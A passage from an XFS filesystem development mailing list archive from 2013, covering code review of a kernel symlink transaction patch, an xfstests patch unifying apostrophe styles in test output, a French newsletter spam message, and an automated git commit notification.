-i "s/\`/\'/g" $tmp.out > if diff $seq.out $tmp.out >/dev/null 2>&1 > then > if $err > > I also discovered that for some reason LANG=C is not sufficient for > all cases to make the quoting behaviour consistent. i.e. I > needed to set LC_ALL=C so that it didn't use weird UTF-8 encodings > for the quotes instead of a simple backtick. > > Full patch below. Excellent, what is holding this patch up then if it was proposed in May and you are ok with it? Thanks, Josef From bfoster@redhat.com Thu Sep 19 08:42:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 85EB87F50 for ; Thu, 19 Sep 2013 08:42:05 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 704058F8089 for ; Thu, 19 Sep 2013 06:42:05 -0700 (PDT) X-ASG-Debug-ID: 1379598124-04cb6c3777366e10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Oi7Me8WUNpm5cQiY for ; Thu, 19 Sep 2013 06:42:04 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8JDg0So004376 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 19 Sep 2013 09:42:02 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8JCoOTa030947; Thu, 19 Sep 2013 08:50:24 -0400 Message-ID: <523AF458.6040106@redhat.com> Date: Thu, 19 Sep 2013 08:55:52 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks References: <1379520960-22972-1-git-send-email-bfoster@redhat.com> <1379520960-22972-2-git-send-email-bfoster@redhat.com> <20130918221729.GB9901@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks In-Reply-To: <20130918221729.GB9901@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379598124 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/18/2013 06:17 PM, Dave Chinner wrote: > On Wed, Sep 18, 2013 at 12:15:58PM -0400, Brian Foster wrote: >> Push down the transaction management for remote symlinks from >> xfs_inactive() down to xfs_inactive_symlink_rmt(). The latter is >> cleaned up to avoid transaction management intended for the >> calling context (i.e., trans duplication, reservation, item >> attachment). >> >> Signed-off-by: Brian Foster >> --- >> fs/xfs/xfs_inode.c | 15 ++++++------ >> fs/xfs/xfs_symlink.c | 64 ++++++++++++++++++---------------------------------- >> fs/xfs/xfs_symlink.h | 2 +- >> 3 files changed, 31 insertions(+), 50 deletions(-) >> >> diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c >> index e3d7538..30db70e 100644 >> --- a/fs/xfs/xfs_inode.c >> +++ b/fs/xfs/xfs_inode.c >> @@ -1724,9 +1724,14 @@ xfs_inactive( >> if (error) >> return VN_INACTIVE_CACHE; >> >> + if (S_ISLNK(ip->i_d.di_mode)) { >> + error = xfs_inactive_symlink(ip); >> + if (error) >> + goto out; >> + } >> + >> tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); >> - resp = (truncate || S_ISLNK(ip->i_d.di_mode)) ? >> - &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; >> + resp = truncate ? &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; >> >> error = xfs_trans_reserve(tp, resp, 0, 0); >> if (error) { >> @@ -1738,11 +1743,7 @@ xfs_inactive( >> xfs_ilock(ip, XFS_ILOCK_EXCL); >> xfs_trans_ijoin(tp, ip, 0); >> >> - if (S_ISLNK(ip->i_d.di_mode)) { >> - error = xfs_inactive_symlink(ip, &tp); >> - if (error) >> - goto out_cancel; >> - } else if (truncate) { >> + if (truncate) { >> ip->i_d.di_size = 0; >> xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); > > Just to maintain the same logic here, if it is a symlink shouldn't > we be ensuring that truncate is zero so we don't go down that path > (even if it's just an assert that you add)? > I missed this on my first pass of your review, but this actually turns back into an if/else after patch 2. E.g., once we pull the truncate case back before the transaction allocation still being used for the ifree (until patch 3). So I think this is probably unnecessary. Brian >> diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c >> index f622a97..f85f6f2 100644 >> --- a/fs/xfs/xfs_symlink.c >> +++ b/fs/xfs/xfs_symlink.c >> @@ -424,8 +424,7 @@ xfs_symlink( >> */ >> STATIC int >> xfs_inactive_symlink_rmt( >> - xfs_inode_t *ip, >> - xfs_trans_t **tpp) >> + xfs_inode_t *ip) >> { >> xfs_buf_t *bp; >> int committed; >> @@ -437,11 +436,9 @@ xfs_inactive_symlink_rmt( >> xfs_mount_t *mp; >> xfs_bmbt_irec_t mval[XFS_SYMLINK_MAPS]; >> int nmaps; >> - xfs_trans_t *ntp; >> int size; >> xfs_trans_t *tp; >> >> - tp = *tpp; >> mp = ip->i_mount; >> ASSERT(ip->i_df.if_flags & XFS_IFEXTENTS); >> /* >> @@ -453,6 +450,14 @@ xfs_inactive_symlink_rmt( >> */ >> ASSERT(ip->i_d.di_nextents > 0 && ip->i_d.di_nextents <= 2); >> >> + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); >> + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); >> + if (error) >> + goto error0; > > goto error_trans_cancel; >> + >> + xfs_ilock(ip, XFS_ILOCK_EXCL); >> + xfs_trans_ijoin(tp, ip, 0); >> + >> /* >> * Lock the inode, fix the size, and join it to the transaction. >> * Hold it so in the normal path, we still have it locked for >> @@ -471,7 +476,7 @@ xfs_inactive_symlink_rmt( >> error = xfs_bmapi_read(ip, 0, xfs_symlink_blocks(mp, size), >> mval, &nmaps, 0); >> if (error) >> - goto error0; >> + goto error1; > > goto error_unlock; > >> /* >> * Invalidate the block(s). No validation is done. >> */ >> @@ -481,7 +486,7 @@ xfs_inactive_symlink_rmt( >> XFS_FSB_TO_BB(mp, mval[i].br_blockcount), 0); >> if (!bp) { >> error = ENOMEM; >> - goto error1; >> + goto error2; > > goto error_bmap_cancel; > >> } >> xfs_trans_binval(tp, bp); >> } >> @@ -490,13 +495,13 @@ xfs_inactive_symlink_rmt( >> */ >> if ((error = xfs_bunmapi(tp, ip, 0, size, XFS_BMAPI_METADATA, nmaps, >> &first_block, &free_list, &done))) >> - goto error1; >> + goto error2; > > Can you convert this to: > > error = xfs_bunmapi(tp, ip, 0, size, XFS_BMAPI_METADATA, nmaps, > &first_block, &free_list, &done); > if (error) > goto error_bmap_cancel; > >> ASSERT(done); >> /* >> * Commit the first transaction. This logs the EFI and the inode. >> */ >> if ((error = xfs_bmap_finish(&tp, &free_list, &committed))) >> - goto error1; >> + goto error2; > > Same here. > >> /* >> * The transaction must have been committed, since there were >> * actually extents freed by xfs_bunmapi. See xfs_bmap_finish. >> @@ -508,29 +513,16 @@ xfs_inactive_symlink_rmt( >> * Mark it dirty so it will be logged and moved forward in the log as >> * part of every commit. >> */ >> - xfs_trans_ijoin(tp, ip, 0); >> + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); > > Oh, good, you caught the "need to unlock the inode at commit" case > :) > >> >> - error1: >> +error2: >> xfs_bmap_cancel(&free_list); >> - error0: >> +error1: >> + xfs_iunlock(ip, XFS_ILOCK_EXCL); >> +error0: >> + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); >> return error; > > And the error labels need reworking appropriately. > >> } >> >> @@ -563,16 +546,13 @@ xfs_inactive_symlink_rmt( >> */ >> int >> xfs_inactive_symlink( >> - struct xfs_inode *ip, >> - struct xfs_trans **tp) >> + struct xfs_inode *ip) >> { >> struct xfs_mount *mp = ip->i_mount; >> int pathlen; >> >> trace_xfs_inactive_symlink(ip); >> >> - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); >> - >> if (XFS_FORCED_SHUTDOWN(mp)) >> return XFS_ERROR(EIO); > > The call to xfs_idata_realloc() needs to be done under the > XFS_ILOCK_EXCL here. We can race with other inode cache lookups > that do work, so we do need to ensure that we correctly lock > everything for modifications that are to be made to the inode state. > > Cheers, > > Dave. > From newsletter@bizunet.fr Thu Sep 19 10:25:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_08, HTML_MESSAGE,HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY,T_DKIM_INVALID, T_KHOP_FOREIGN_CLICK,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 520DE7F37 for ; Thu, 19 Sep 2013 10:25:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 30D5D304032 for ; Thu, 19 Sep 2013 08:25:32 -0700 (PDT) X-ASG-Debug-ID: 1379604328-04cb6c37773703a0001-NocioJ Received: from bizunet.fr (rt.bizunet.fr [46.182.3.167]) by cuda.sgi.com with ESMTP id D69fChK2iDtm1H2l for ; Thu, 19 Sep 2013 08:25:29 -0700 (PDT) X-Barracuda-Envelope-From: newsletter@bizunet.fr X-Barracuda-Apparent-Source-IP: 46.182.3.167 Received: from bizunet.fr (rt.bizunet.fr [127.0.0.1]) by bizunet.fr (Postfix) with ESMTP id 416B7C01AD0 for ; Thu, 19 Sep 2013 17:25:28 +0200 (CEST) DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=bizunet.fr; h=date:to:from :reply-to:subject:message-id:mime-version:content-type :content-transfer-encoding; s=mail; bh=w8sxjMpZbkCeFJs02o9+xcRS2 4E=; b=G7Up8V5+oPr06skV7HwMl8+11A4ggxx1Qds49x067zU+QL6Oa2uC+or0w /i91lse6kMku9WWvwT+ePWX2q1QBsNeRHsLKnY0pgV+o7b6BDDUbeiIpu9mgfZSp 3IHQ62CF7e83MvbEZ4ykXkyvgyIyMr8o6b1iiLrumc5o7vU8yc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=bizunet.fr; h=date:to:from :reply-to:subject:message-id:mime-version:content-type :content-transfer-encoding; q=dns; s=mail; b=IZJl30iDWvoDbEBhN/g 1L9nCmt10sJ6AdNLwRJ3YHxbogKESQg3UYJfH/kOnIt0bi8LaiAp+/Tp0dWBRm2z WIglLJcMzLA2/lfsLaBlIbxuNBdT06wFh4e+usUQKMhMSiX8QvUDjltRVlELHYTs rksPEB0hy9NisL+uXEDZWtCY= Received: from www.bizunet.fr (rt.bizunet.fr [127.0.0.1]) by bizunet.fr (Postfix) with ESMTP id 36EFAC01AC9 for ; Thu, 19 Sep 2013 17:25:28 +0200 (CEST) Date: Thu, 19 Sep 2013 17:25:28 +0200 To: xfs@oss.sgi.com From: magazine Vocable Reply-To: newsletter@bizunet.fr Subject: =?utf-8?Q?Investissez_dans_une_valeur_s=C3=BBre_:_l'anglais?= Message-ID: X-ASG-Orig-Subj: =?utf-8?Q?Investissez_dans_une_valeur_s=C3=BBre_:_l'anglais?= X-Priority: 3 X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net) MIME-Version: 1.0 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: rt.bizunet.fr[46.182.3.167] X-Barracuda-Start-Time: 1379604328 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.05 X-Barracuda-Spam-Status: No, SCORE=1.05 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_08, HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140754 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_IMAGE_RATIO_08 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag

Si le message ci-dessous ne s'affiche pas correct= ement, cliquez-ici

=C2=A0= 3D""

Cap sur la r=C3=A9uss= ite:
investiss= ez dans la formule gagnante pour devenir enfin bilingue!

3D"45%

Dirigeant d'entreprise,=C2=A0<= /p>

vous et vos collaborateurs, =C3=AAtes= ou serez amen=C3=A9s =C3=A0 communiquer en langue anglaise. Ne passez pa= s =C3=A0 c=C3=B4t=C3=A9 d'une opportunit=C3=A9 professionelle parce que v= otre niveau d'anglais est insuffisant...
Pour am=C3=A9liorer rapidemen= t votre niveau en anglais, il existe une solution efficace, pratique et v= raiment =C3=A9conomique:

lire et =C3=A9couter r=C3=A9guli=C3=A8rement la presse internationale = en V.O.

C'est ce que vous propose Vocable ave= c pr=C3=A8s de 45% de r=C3=A9duction!

=C2=A0

*Imputable dans votre budg= et formation ou vos frais g=C3=A9n=C3=A9raux =C2=A0 =C2=A0
3D"Vocable" Depuis 30 ans, Vocable est un =C3=A9diteur sp=C3=A9cial= is=C3=A9 dans l=E2=80=99apprentissage des langues. Sa m=C3=A9thode unique= accompagne les entreprises avec succ=C3=A8s dans le d=C3=A9veloppement d= es comp=C3=A9tences linguistiques des collaborateurs. En savoir plus sur = Vocable rendez-vous sur : www.vocable.fr. Pour tout renseignement info@vo= cable.fr ou appelez nous au 01.44.37.97.81
Vocable est partenaire du CMA, Comit=C3=A9 Mondial pour les Apprentiss= ages tout au long de la vie (World Committee for LifeLong Learning). Cett= e ONG rattach=C3=A9e aux Nations Unies est partenaire de l=E2=80=99Unesco= dans le d=C3=A9veloppement tant de l=E2=80=99enseignement que de la form= ation continue tout au long de la vie.=C2=A0
=C2=A0Cliq= uez ici pour ne plus recevoir cet email.
=C2=A0
3D"" 3D"" 3D"" 3D""

=C2=A0

From sandeen@redhat.com Thu Sep 19 11:20:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0C9337CBF for ; Thu, 19 Sep 2013 11:20:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id DBD6730404E for ; Thu, 19 Sep 2013 09:20:45 -0700 (PDT) X-ASG-Debug-ID: 1379607644-04cb6c153d11d7600001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id U6ZopkytRSQZQqrG for ; Thu, 19 Sep 2013 09:20:44 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8JGKcwK022210 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 19 Sep 2013 12:20:39 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8JGKbqa032021 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 19 Sep 2013 12:20:38 -0400 Message-ID: <523B2455.4000609@redhat.com> Date: Thu, 19 Sep 2013 11:20:37 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: Josef Bacik , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: [PATCH] xfstests: unify apostrophes in output files References: <1379536166-19232-1-git-send-email-jbacik@fusionio.com> <20130918211325.GB4330@dastard> X-ASG-Orig-Subj: [PATCH] xfstests: unify apostrophes in output files In-Reply-To: <20130918211325.GB4330@dastard> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379607644 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xfstests: unify apostrophes in output files From: Tomas Racek With coreutils v8.16 the style of apostrophes changed from `word' to 'word'. This is breaking some tests which use the older form. This commit introduces function changes the golden output of the affected tests and introduces a filter for the older style output. [dchinner: modified to use a global filter in check rather than per-test filters] Signed-off-by: Tomas Racek Signed-off-by: Dave Chinner Reviewed-by: Eric Sandeen --- (Resending as proper top-level, modified, reviewed patch --Eric) check | 4 ++++ common/config | 1 + tests/generic/193.out | 16 ++++++++-------- tests/generic/230.out | 8 ++++---- tests/generic/235.out | 2 +- tests/generic/245.out | 2 +- tests/generic/294.out | 8 ++++---- tests/generic/306.out | 2 +- tests/xfs/103.out | 2 +- tests/xfs/200.out | 2 +- 10 files changed, 26 insertions(+), 21 deletions(-) diff --git a/check b/check index 4085eae..ba7fd21 100755 --- a/check +++ b/check @@ -478,6 +478,10 @@ do echo " - no qualified output" err=true else + + # coreutils 2.16+ changed quote formats in error messages from + # `foo' to 'foo'. Filter old versions to match the new version. + sed -i "s/\`/\'/g" $tmp.out if diff $seq.out $tmp.out >/dev/null 2>&1 then if $err diff --git a/common/config b/common/config index 67c1498..b422f87 100644 --- a/common/config +++ b/common/config @@ -49,6 +49,7 @@ # all tests should use a common language setting to prevent golden # output mismatches. export LANG=C +export LC_ALL=C # Warning: don't put freeware before /usr/bsd on IRIX coz you'll # get the wrong hostname and set your system name to -s diff --git a/tests/generic/193.out b/tests/generic/193.out index 357a7c1..7a7f89a 100644 --- a/tests/generic/193.out +++ b/tests/generic/193.out @@ -3,28 +3,28 @@ QA output created by 193 testing ATTR_UID user: chown root owned file to qa_user (should fail) -chown: changing ownership of `test.root': Operation not permitted +chown: changing ownership of 'test.root': Operation not permitted user: chown root owned file to root (should fail) -chown: changing ownership of `test.root': Operation not permitted +chown: changing ownership of 'test.root': Operation not permitted user: chown qa_user owned file to qa_user (should succeed) user: chown qa_user owned file to root (should fail) -chown: changing ownership of `test.user': Operation not permitted +chown: changing ownership of 'test.user': Operation not permitted testing ATTR_GID user: chgrp root owned file to root (should fail) -chgrp: changing group of `test.root': Operation not permitted +chgrp: changing group of 'test.root': Operation not permitted user: chgrp qa_user owned file to root (should fail) -chgrp: changing group of `test.user': Operation not permitted +chgrp: changing group of 'test.user': Operation not permitted user: chgrp root owned file to qa_user (should fail) -chgrp: changing group of `test.root': Operation not permitted +chgrp: changing group of 'test.root': Operation not permitted user: chgrp qa_user owned file to qa_user (should succeed) testing ATTR_MODE user: chmod a+r on qa_user owned file (should succeed) user: chmod a+r on root owned file (should fail) -chmod: changing permissions of `test.root': Operation not permitted +chmod: changing permissions of 'test.root': Operation not permitted check that the sgid bit is cleared -rw-rw-rw- check that suid bit is not cleared @@ -60,5 +60,5 @@ testing ATTR_*TIMES_SET user: touch qa_user file (should succeed) user: touch root file (should fail) -touch: cannot touch `test.root': Permission denied +touch: cannot touch 'test.root': Permission denied *** done diff --git a/tests/generic/230.out b/tests/generic/230.out index d2d434c..c3dace9 100644 --- a/tests/generic/230.out +++ b/tests/generic/230.out @@ -12,9 +12,9 @@ Write 4096... pwrite64: Disk quota exceeded Touch 3+4 Touch 5+6 -touch: cannot touch `SCRATCH_MNT/file6': Disk quota exceeded +touch: cannot touch 'SCRATCH_MNT/file6': Disk quota exceeded Touch 5 -touch: cannot touch `SCRATCH_MNT/file5': Disk quota exceeded +touch: cannot touch 'SCRATCH_MNT/file5': Disk quota exceeded ### test group limit enforcement @@ -28,6 +28,6 @@ Write 4096... pwrite64: Disk quota exceeded Touch 3+4 Touch 5+6 -touch: cannot touch `SCRATCH_MNT/file6': Disk quota exceeded +touch: cannot touch 'SCRATCH_MNT/file6': Disk quota exceeded Touch 5 -touch: cannot touch `SCRATCH_MNT/file5': Disk quota exceeded +touch: cannot touch 'SCRATCH_MNT/file5': Disk quota exceeded diff --git a/tests/generic/235.out b/tests/generic/235.out index a095694..95c1005 100644 --- a/tests/generic/235.out +++ b/tests/generic/235.out @@ -15,7 +15,7 @@ Group used soft hard grace used soft hard grace fsgqa -- 0 0 0 1 0 0 -touch: cannot touch `SCRATCH_MNT/failed': Read-only file system +touch: cannot touch 'SCRATCH_MNT/failed': Read-only file system *** Report for user quotas on device SCRATCH_DEV Block grace time: 7days; Inode grace time: 7days Block limits File limits diff --git a/tests/generic/245.out b/tests/generic/245.out index 8322aac..f5b5f18 100644 --- a/tests/generic/245.out +++ b/tests/generic/245.out @@ -1,2 +1,2 @@ QA output created by 245 -mv: cannot move `TEST_DIR/test-mv/ab/aa/' to `TEST_DIR/test-mv/aa': File exists +mv: cannot move 'TEST_DIR/test-mv/ab/aa/' to 'TEST_DIR/test-mv/aa': File exists diff --git a/tests/generic/294.out b/tests/generic/294.out index 027d9fc..1ac1c67 100644 --- a/tests/generic/294.out +++ b/tests/generic/294.out @@ -1,5 +1,5 @@ QA output created by 294 -mknod: `SCRATCH_MNT/294.test/testnode': File exists -mkdir: cannot create directory `SCRATCH_MNT/294.test/testdir': File exists -touch: cannot touch `SCRATCH_MNT/294.test/testtarget': Read-only file system -ln: creating symbolic link `SCRATCH_MNT/294.test/testlink': File exists +mknod: 'SCRATCH_MNT/294.test/testnode': File exists +mkdir: cannot create directory 'SCRATCH_MNT/294.test/testdir': File exists +touch: cannot touch 'SCRATCH_MNT/294.test/testtarget': Read-only file system +ln: creating symbolic link 'SCRATCH_MNT/294.test/testlink': File exists diff --git a/tests/generic/306.out b/tests/generic/306.out index 69bfb42..fb3748b 100644 --- a/tests/generic/306.out +++ b/tests/generic/306.out @@ -1,6 +1,6 @@ QA output created by 306 == try to create new file -touch: cannot touch `SCRATCH_MNT/this_should_fail': Read-only file system +touch: cannot touch 'SCRATCH_MNT/this_should_fail': Read-only file system == pwrite to null device wrote 512/512 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) diff --git a/tests/xfs/103.out b/tests/xfs/103.out index f939bcd..4ab3ad7 100644 --- a/tests/xfs/103.out +++ b/tests/xfs/103.out @@ -4,7 +4,7 @@ QA output created by 103 *** testing nosymlinks directories *** setting nosymlinks bit --n-- SCRATCH_MNT/nosymlink -ln: creating symbolic link `SCRATCH_MNT/nosymlink/target': Operation not permitted +ln: creating symbolic link 'SCRATCH_MNT/nosymlink/target': Operation not permitted *** 1st listing... SCRATCH_MNT SCRATCH_MNT/nosymlink diff --git a/tests/xfs/200.out b/tests/xfs/200.out index 2629541..174838c 100644 --- a/tests/xfs/200.out +++ b/tests/xfs/200.out @@ -3,7 +3,7 @@ setting device read-only mounting read-only block device: mount: block device SCRATCH_DEV is write-protected, mounting read-only touching file on read-only filesystem (should fail) -touch: cannot touch `SCRATCH_MNT/foo': Read-only file system +touch: cannot touch 'SCRATCH_MNT/foo': Read-only file system unmounting read-only filesystem setting device read-write mounting read-write block device: -- To unsubscribe from this list: send the line "unsubscribe linux-btrfs" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html From bpm@oss.sgi.com Thu Sep 19 11:46:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id A92467F37; Thu, 19 Sep 2013 11:46:11 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. xfs-for-linus-v3.12-rc1-2-11718-g272b98c X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 08474ed639e971e9d5a877cf7aba7ef91d847ae9 X-Git-Newrev: 272b98c6455f00884f0350f775c5342358ebb73f Message-Id: <20130919164611.A92467F37@oss.sgi.com> Date: Thu, 19 Sep 2013 11:46:10 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated e0ea404 Merge tag 'xfs-for-linus-v3.12-rc1-2' of git://oss.sgi.com/xfs/xfs ac4de95 Merge branch 'akpm' (patches from Andrew Morton) 7caef26 truncate: drop 'oldsize' truncate_pagecache() parameter f5e1dd3 super: fix for destroy lrus 5ca302c list_lru: dynamically adjust node arrays 3516341 xfs: fix dquot isolation hang 2f5b56f xfs-convert-dquot-cache-lru-to-list_lru-fix cd56a39 xfs: convert dquot cache lru to list_lru a408235 xfs: rework buffer dispose list tracking addbda4 xfs-convert-buftarg-lru-to-generic-code-fix e80dfa1 xfs: convert buftarg LRU to generic code 9b17c62 fs: convert inode and dentry shrinking to be node aware 0a234c6 shrinker: convert superblock shrinkers to new API 55f841c super: fix calculation of shrinkable objects for small numbers 300893b Merge tag 'xfs-for-linus-v3.12-rc1' of git://oss.sgi.com/xfs/xfs 7b7a866 direct-io: Implement generic deferred AIO completions e1b4271 xfs: di_flushiter considered harmful from 08474ed639e971e9d5a877cf7aba7ef91d847ae9 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit e0ea4045bce3cee84e35746fb98946ca36781248 Merge: 48efe45 08474ed Author: Linus Torvalds Date: Thu Sep 12 16:13:41 2013 -0700 Merge tag 'xfs-for-linus-v3.12-rc1-2' of git://oss.sgi.com/xfs/xfs Pull xfs update #2 from Ben Myers: "Here we have defrag support for v5 superblock, a number of bugfixes and a cleanup or two. - defrag support for CRC filesystems - fix endian worning in xlog_recover_get_buf_lsn - fixes for sparse warnings - fix for assert in xfs_dir3_leaf_hdr_from_disk - fix for log recovery of remote symlinks - fix for log recovery of btree root splits - fixes formemory allocation failures with ACLs - fix for assert in xfs_buf_item_relse - fix for assert in xfs_inode_buf_verify - fix an assignment in an assert that should be a test in xfs_bmbt_change_owner - remove dead code in xlog_recover_inode_pass2" * tag 'xfs-for-linus-v3.12-rc1-2' of git://oss.sgi.com/xfs/xfs: xfs: remove dead code from xlog_recover_inode_pass2 xfs: = vs == typo in ASSERT() xfs: don't assert fail on bad inode numbers xfs: aborted buf items can be in the AIL. xfs: factor all the kmalloc-or-vmalloc fallback allocations xfs: fix memory allocation failures with ACLs xfs: ensure we copy buffer type in da btree root splits xfs: set remote symlink buffer type for recovery xfs: recovery of swap extents operations for CRC filesystems xfs: swap extents operations for CRC filesystems xfs: check magic numbers in dir3 leaf verifier first xfs: fix some minor sparse warnings xfs: fix endian warning in xlog_recover_get_buf_lsn() commit ac4de9543aca59f2b763746647577302fbedd57e Merge: 26935fb de32a81 Author: Linus Torvalds Date: Thu Sep 12 15:44:27 2013 -0700 Merge branch 'akpm' (patches from Andrew Morton) Merge more patches from Andrew Morton: "The rest of MM. Plus one misc cleanup" * emailed patches from Andrew Morton : (35 commits) mm/Kconfig: add MMU dependency for MIGRATION. kernel: replace strict_strto*() with kstrto*() mm, thp: count thp_fault_fallback anytime thp fault fails thp: consolidate code between handle_mm_fault() and do_huge_pmd_anonymous_page() thp: do_huge_pmd_anonymous_page() cleanup thp: move maybe_pmd_mkwrite() out of mk_huge_pmd() mm: cleanup add_to_page_cache_locked() thp: account anon transparent huge pages into NR_ANON_PAGES truncate: drop 'oldsize' truncate_pagecache() parameter mm: make lru_add_drain_all() selective memcg: document cgroup dirty/writeback memory statistics memcg: add per cgroup writeback pages accounting 